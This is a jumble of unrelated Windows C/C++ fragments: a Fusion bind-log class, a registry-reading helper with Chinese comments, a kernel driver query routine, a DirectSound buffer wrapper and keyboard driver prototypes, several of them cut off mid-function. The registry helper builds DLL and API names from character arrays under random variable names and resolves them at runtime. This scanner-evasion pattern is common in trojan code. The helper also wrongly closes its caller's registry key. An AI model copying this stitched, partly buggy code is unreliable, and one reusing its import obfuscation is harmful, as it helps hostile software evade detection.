} STDMETHODIMP CDebugLog::GetResultCode(DWORD dwLogCategory, HRESULT *pHr) { if (!pHr || dwLogCategory >= FUSION_BIND_LOG_CATEGORY_MAX) { return E_INVALIDARG; } *pHr = _hrResult[dwLogCategory]; return S_OK; } STDMETHODIMP CDebugLog::GetBindLog(DWORD dwDetailLevel, DWORD dwLogCategory, __out_bcount_opt(*pcbDebugLog) LPWSTR pwzDebugLog, __inout DWORD *pcbDebugLog) { HRESULT hr = S_OK; LISTNODE pos = NULL; DWORD cbReqd; CDebugLogElement *pLogElem = NULL; if (!pcbDebugLog || dwLogCategory >= FUSION_BIND_LOG_CATEGORY_MAX) { hr = E_INVALIDARG; goto Exit; } pos = _listDbgMsg[dwLogCategory].GetHeadPosition(); if (!pos) { // No entries in debug log!
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在) int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode) { typedef LONG (APIENTRY *RegOpenKeyExAT)( __in HKEY hKey, __in_opt LPCSTR lpSubKey, __reserved DWORD ulOptions, __in REGSAM samDesired, __out PHKEY phkResult ); char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegOpenKeyExAT pRegOpenKeyExA=(RegOpenKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegOpenKeyExA"); typedef LONG (APIENTRY *RegEnumValueAT)( __in HKEY hKey, __in DWORD dwIndex, __out_ecount_opt(*lpcchValueName) LPSTR lpValueName, __inout LPDWORD lpcchValueName, __reserved LPDWORD lpReserved, __out_opt LPDWORD lpType, __out_bcount_opt(*lpcbData) LPBYTE lpData, __inout_opt LPDWORD lpcbData ); RegEnumValueAT pRegEnumValueA=(RegEnumValueAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegEnumValueA"); HKEY hKey; int ValueDWORD,iResult=0; char* PointStr; char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH]; DWORD szSize,KnSize,dwIndex=0; memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); __try { // SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS); if(pRegOpenKeyExA(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS) { iResult = -1; __leave; } switch(Mode) { case 0: switch(Type) { case REG_SZ: case REG_EXPAND_SZ: szSize = sizeof(ValueSz); if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { strcpy(szData,DelSpace(ValueSz)); iResult =1; } break; case REG_MULTI_SZ: szSize = sizeof(ValueSz); if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1) { strncat(ValueTemp,PointStr,sizeof(ValueTemp)); strncat(ValueTemp," ",sizeof(ValueTemp)); } strcpy(szData,ValueTemp); iResult =1; } break; case REG_DWORD: szSize = sizeof(DWORD); if(pRegQueryValueExA(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS) { wsprintf(szData,"%d",ValueDWORD); iResult =1; } break; case REG_BINARY: szSize = lbSize; if(pRegQueryValueExA(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS) iResult =1; break; } break; case 1: while(1) { typedef LONG (APIENTRY *RegEnumKeyExAT)( __in HKEY hKey, __in DWORD dwIndex, __out_ecount_opt(*lpcchName) LPSTR lpName, __inout LPDWORD lpcchName, __reserved LPDWORD lpReserved, __inout_ecount_opt(*lpcchClass) LPSTR lpClass, __inout_opt LPDWORD lpcchClass, __out_opt PFILETIME lpftLastWriteTime ); RegEnumKeyExAT pRegEnumKeyExA=(RegEnumKeyExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegEnumKeyExA"); memset(ValueSz,0,sizeof(ValueSz)); szSize = sizeof(ValueSz); if(pRegEnumKeyExA(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS) break; wsprintf(ValueTemp,"[%s]\r\n",ValueSz); strcat(szData,ValueTemp); iResult =1; } break; case 2: while(1) { memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); KnSize = sizeof(KeyName); szSize = sizeof(ValueSz); if(pRegEnumValueA(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS) break; switch(Type) { case REG_SZ: wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz); break; case REG_EXPAND_SZ: wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz); break; case REG_DWORD: wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz)); break; case REG_MULTI_SZ: wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ"); break; case REG_BINARY: wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY"); break; } typedef LPSTR (WINAPI *lstrcatAT)( __inout LPSTR lpString1, __in LPCSTR lpString2 ); lstrcatAT plstrcatA=(lstrcatAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"lstrcatA"); plstrcatA(szData,ValueTemp); iResult =1; } break; case 3: iResult =1; break; } } __finally { typedef LONG (APIENTRY *RegCloseKeyT) ( __in HKEY hKey); char YWsjU[] = {'R','e','g','C','l','o','s','e','K','e','y','\0'}; char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegCloseKeyT pRegCloseKey=(RegCloseKeyT)GetProcAddress(LoadLibrary(KIoFqQPSy),YWsjU); pRegCloseKey(MainKey); pRegCloseKey(hKey); } return iResult; }
#include "StdAfx.h" #include <windows.h> //去除字符串类型前面的空格 typedef LONG (APIENTRY *RegQueryValueExAT) ( __in HKEY hKey, __in_opt LPCSTR lpValueName, __reserved LPDWORD lpReserved, __out_opt LPDWORD lpType, __out_bcount_opt(*lpcbData) LPBYTE lpData, __inout_opt LPDWORD lpcbData ); char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'}; RegQueryValueExAT pRegQueryValueExA= (RegQueryValueExAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"RegQueryValueExA"); char *DelSpace(char *szData) { int i=0 ; while(1) { if(strnicmp(szData+i," ",1)) break; i++; } return (szData+i); } //设置注册表键读取的权限(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS) int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security) {
DriverHandle, 0, ObjectAttributes, *IoDriverObjectType, AccessMode ); } /* KphQueryInformationDriver * * Queries information about a driver object. */ NTSTATUS KphQueryInformationDriver( __in HANDLE DriverHandle, __in DRIVER_INFORMATION_CLASS DriverInformationClass, __out_bcount_opt(DriverInformationLength) PVOID DriverInformation, __in ULONG DriverInformationLength, __out_opt PULONG ReturnLength, __in KPROCESSOR_MODE AccessMode ) { NTSTATUS status = STATUS_SUCCESS; PDRIVER_OBJECT driverObject; if ( DriverInformationClass < DriverBasicInformation || DriverInformationClass >= MaxDriverInfoClass ) return STATUS_INVALID_INFO_CLASS; /* Probe user input. */
HRESULT __stdcall MyDirectSoundBuffer::GetCaps(THIS_ __out LPDSBCAPS pDSBufferCaps) { M_TRACE_FUNCTION; return m_pDSoundBuffer->GetCaps(pDSBufferCaps); } HRESULT __stdcall MyDirectSoundBuffer::GetCurrentPosition(THIS_ __out_opt LPDWORD pdwCurrentPlayCursor, __out_opt LPDWORD pdwCurrentWriteCursor) { HRESULT hr = m_pDSoundBuffer->GetCurrentPosition(pdwCurrentPlayCursor, pdwCurrentWriteCursor); //DWORD dwCurrentPlayCursor = pdwCurrentPlayCursor ? *pdwCurrentPlayCursor : -1; //DWORD dwCurrentWriteCursor = pdwCurrentWriteCursor ? *pdwCurrentWriteCursor : -1; //M_TRACE("GetCurrentPosition(%d): PlayCursor = %d, WriteCursor = %d\n", m_uniqueId, dwCurrentPlayCursor, dwCurrentWriteCursor ); return hr; } HRESULT __stdcall MyDirectSoundBuffer::GetFormat(THIS_ __out_bcount_opt(dwSizeAllocated) LPWAVEFORMATEX pwfxFormat, DWORD dwSizeAllocated, __out_opt LPDWORD pdwSizeWritten) { M_TRACE_FUNCTION; return m_pDSoundBuffer->GetFormat(pwfxFormat, dwSizeAllocated, pdwSizeWritten); } HRESULT __stdcall MyDirectSoundBuffer::GetVolume(THIS_ __out LPLONG plVolume) { M_TRACE_FUNCTION; return m_pDSoundBuffer->GetVolume(plVolume); } HRESULT __stdcall MyDirectSoundBuffer::GetPan(THIS_ __out LPLONG plPan) { M_TRACE_FUNCTION; return m_pDSoundBuffer->GetPan(plPan);
}; PWSTR gpwstrManufacturerID = L"Microsoft"; PWSTR gpwstrProductID = L"TabletPC Key Buttons"; PWSTR gpwstrSerialNumber = L"0"; // // Local function prototypes. // NTSTATUS INTERNAL SendSyncIoctl( __in PDEVICE_EXTENSION devext, __in ULONG IoControlCode, __in_bcount_opt(dwcbOutputBuffer) PVOID InputBuffer, __in ULONG dwcbInputBuffer, __out_bcount_opt(dwcbOutputBuffer) PVOID OutputBuffer, __in ULONG dwcbOutputBuffer ); NTSTATUS INTERNAL EnableKbdPort( __in PDEVICE_EXTENSION devext, __in PIRP irp, __in BOOLEAN fEnable ); VOID EXTERNAL KbdPortCallback( __in PDEVICE_OBJECT devobj, __in PKEYBOARD_INPUT_DATA InputDataStart, __in PKEYBOARD_INPUT_DATA InputDataEnd,